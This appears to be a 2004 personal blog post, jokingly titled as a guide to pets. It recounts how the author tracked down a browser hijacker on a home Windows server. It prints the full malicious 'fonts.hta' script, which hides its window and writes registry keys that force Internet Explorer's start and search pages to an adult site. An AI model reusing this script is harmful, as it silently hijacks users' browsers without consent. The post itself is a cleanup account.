We've gone on a diet!
Actually, we just changed the way the site looks and smells.
You just so happen to be looking at an old page.
A really, really, really old page.
Older than Jesus himself, in fact.
Click here to view the new site
|
Tuesday, February 3, 2004
|
|
 A Geek's Guide to Pets -- Ivan || Post in the forum
Ok, I'm getting kind of a late start on this -- it's just about to turn 2 am, and I have to work tomorrow. But I told myself I'd get this guide written for the sake of the thousands of pet-challenged geeks hanging on my every word. So, here it goes: A Geek's Guide to Pets.
Right.
So...
Look, just to get this off my chest: when I set out to write this, it was still yesterday. I had finished a lovely dinner, sent my family off to their respective beds with their respective tuck-ins, etc., poured myself a generous snifter, logged in on our family Windows 2000 Server (Administrator, pw=*********), opened up my paid-for copy of NoteTab Pro, and commenced on my writing adventure.
I suppose that this is the point at which my downfall can be said to have occurred: I dawdled a bit. I sipped and mused, and mused and sipped, and shortly found myself double-clicking on the old Internet Explorer icon, "just to check the Yahoo headlines", as I told myself. However (and here the reader can only imagine my consternation, alarm and confusion -- if one can be said to be consternated, alarmed and confused all at once without redundancy -- when), instead of the familiar friendly Yahoo logo with concomitant links and whatnot, there embrowsed before me a completely unfamiliar search engine site, with the rather suggestive URL of "http://freshvideogals.com/search".
"Pff!" is what I believe, in hindsight, I must have said. "I'll take care of this, I will!" It was a matter of mere moments to type in Yahoo's URL, click on Tools, Internet Options, Use Current, Ok. You know the drill.
Anyway, I was checking out the headlines here and there, gearing up to write a cracking little piece on A Geek's Guide to Pets when a family member emerged from her sleeping chambers and declared that she had forgotten to check her email before retiring. With my customary good humor I relinquished the controls to the Family File Server and stood discretely to one side, sipping. (I would like to point out that normally each family member has his and her own private PC hooked up to the Family Network, but at this time those PCs are in a state of malfunction, necessitating us to take turns at the Master Keyboard.) I watched, distractedly, as this newcomer logged on and activated her browser.
"What's this?" came her voice. I glanced at the screen, and the blood drained from my face. For there, in all its stark horror, was the freshvideogals search site.
"Oh, uh... just... well, type in like 'yahoo.com' or something," I suavely proffered my expertise, and sat down in a neighboring chair to ponder the situation. This looked pretty bad. Something set all the default home pages for all the users on my server to a porn search engine. Where did I pick up this infection? I have all kinds of precautions set up, yet this bugger still slipped through. Probably yesterday, when I was searching for "janet jackson wardrobe malfunction" all over the web, I blundered onto some unscrupulous site that dropped this little gift in my lap. Oh well. Time for SpyBot!
When I was alone with the server again, I verified my suspicions: when I logged back in, the home page I set in IE was replaced with the freschvideowhatsit site. Freshvideogals. I'll refer to this site as FVG from now on. And that was the case for every user on the server. I ran SpyBot, and although it didn't find any spyware to remove, I was able to find the foul droppings of this trojan when I clicked on the "Browser Pages" tool. There they were: several IE browser start page and search page slots filled with FVG references. I renamed them all to Google, then ran IE and changed my home page to Yahoo, then logged out and performed the same process for all the other users on the server. With a satisfied chuckle and a warm feeling of a job well done, I logged back in as myself and...
All the settings I had changed were once again set to FVG. Quickly, I checked the other users... yep, all changed back to point to freshvideogals. Something was being executed on my system. I used SpyBot to look at all the start-up objects and disabled everything that looked suspicious, reset my home page, logged out and in again, and... same thing. FVGs like a motherfucker. It was time to haul out the big guns. I did what every professional does in a situation like this.
I Googled "freshvideogals".
Not a lot came up -- only 3 hits -- but all the information I needed was there. I didn't read it all right away, which was a mistake, and as a result I performed some unnecessary procedures. For example, I downloaded AdAware, which I now regret, because it didn't do anything that SpyBot hadn't already done. However, I also downloaded HighJackThis, which is a really cool registry scanner, which allowed me to quickly get rid of all the FVG registry entries. Of course, they all came back, time and time again, as I searched for the culprit: somewhere something was putting those damn links in my registry every time I logged in.
To cut to the chase, it was an innocent-looking file in my Winnt\Fonts directory called "fonts.hta". Here is what this file contains:
self.MoveTo 5000,5000
Set Shl = CreateObject("WScript.Shell")
Shl.RegWrite"HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://freshvideogals.com/search/"
Shl.RegWrite"HKLM\Software\Microsoft\Internet Explorer\Main\Start Page","http://freshvideogals.com/search/"
Shl.RegWrite"HKLM\Software\Microsoft\Internet Explorer\Main\Search Page","http://freshvideogals.com/search/"
Shl.RegWrite"HKLM\Software\Microsoft\Internet Explorer\Main\Search Bar","http://freshvideogals.com/search/"
Shl.RegWrite"HKLM\Software\Microsoft\Internet Explorer\Main\Use Search Asst","no"
Shl.RegWrite"HKLM\Software\Microsoft\Internet Explorer\Search\SearchAssistant","http://freshvideogals.com/search/small.html"
Shl.RegWrite"HKLM\Software\Microsoft\Internet Explorer\Search\CustomizeSearch","http://freshvideogals.com/search/"
Shl.RegWrite"HKCU\Software\Microsoft\Internet Explorer\Search\SearchAssistant","http://freshvideogals.com/search/small.html"
Shl.RegWrite"HKCU\Software\Microsoft\Internet Explorer\Search\CustomizeSearch","http://freshvideogals.com/search/"
Shl.RegWrite"HKCU\Software\Microsoft\Internet Explorer\Search\Default_Search_URL","http://freshvideogals.com/search/"
Shl.RegWrite"HKCU\Software\Microsoft\Internet Explorer\Main\Default_Page_URL","http://freshvideogals.com/search/"
Shl.RegWrite"HKCU\Software\Microsoft\Internet Explorer\Main\Default_Search_URL","http://freshvideogals.com/search/"
Shl.RegWrite"HKCU\Software\Microsoft\Internet Explorer\Main\Search Page","http://freshvideogals.com/search/"
Shl.RegWrite"HKCU\Software\Microsoft\Internet Explorer\Main\Search Page","http://freshvideogals.com/search/"
window.close()
There you go. A bonehead script.
Pff!
Just for the hell of it, I did another google on "fonts.hta", and found all sorts of stuff, most notably this site: http://www.spywareinfo.com/~merijn/cwschronicles.html. This "CoolWWWSearch" thing is a real pisser.
Ok, it's after 3 a.m. now. I'm gonna be dead tomorrow. I mean today.
A Geek's Guide to Pets
Cats are cool. So are rodents and reptiles. Not dogs, though, unless they're cool dogs. Same goes for birds and fishes.
Whatever. Suit yourselves. I'm going to bed.
(Comments (11) | Post in the forum | Join the Forums )
|
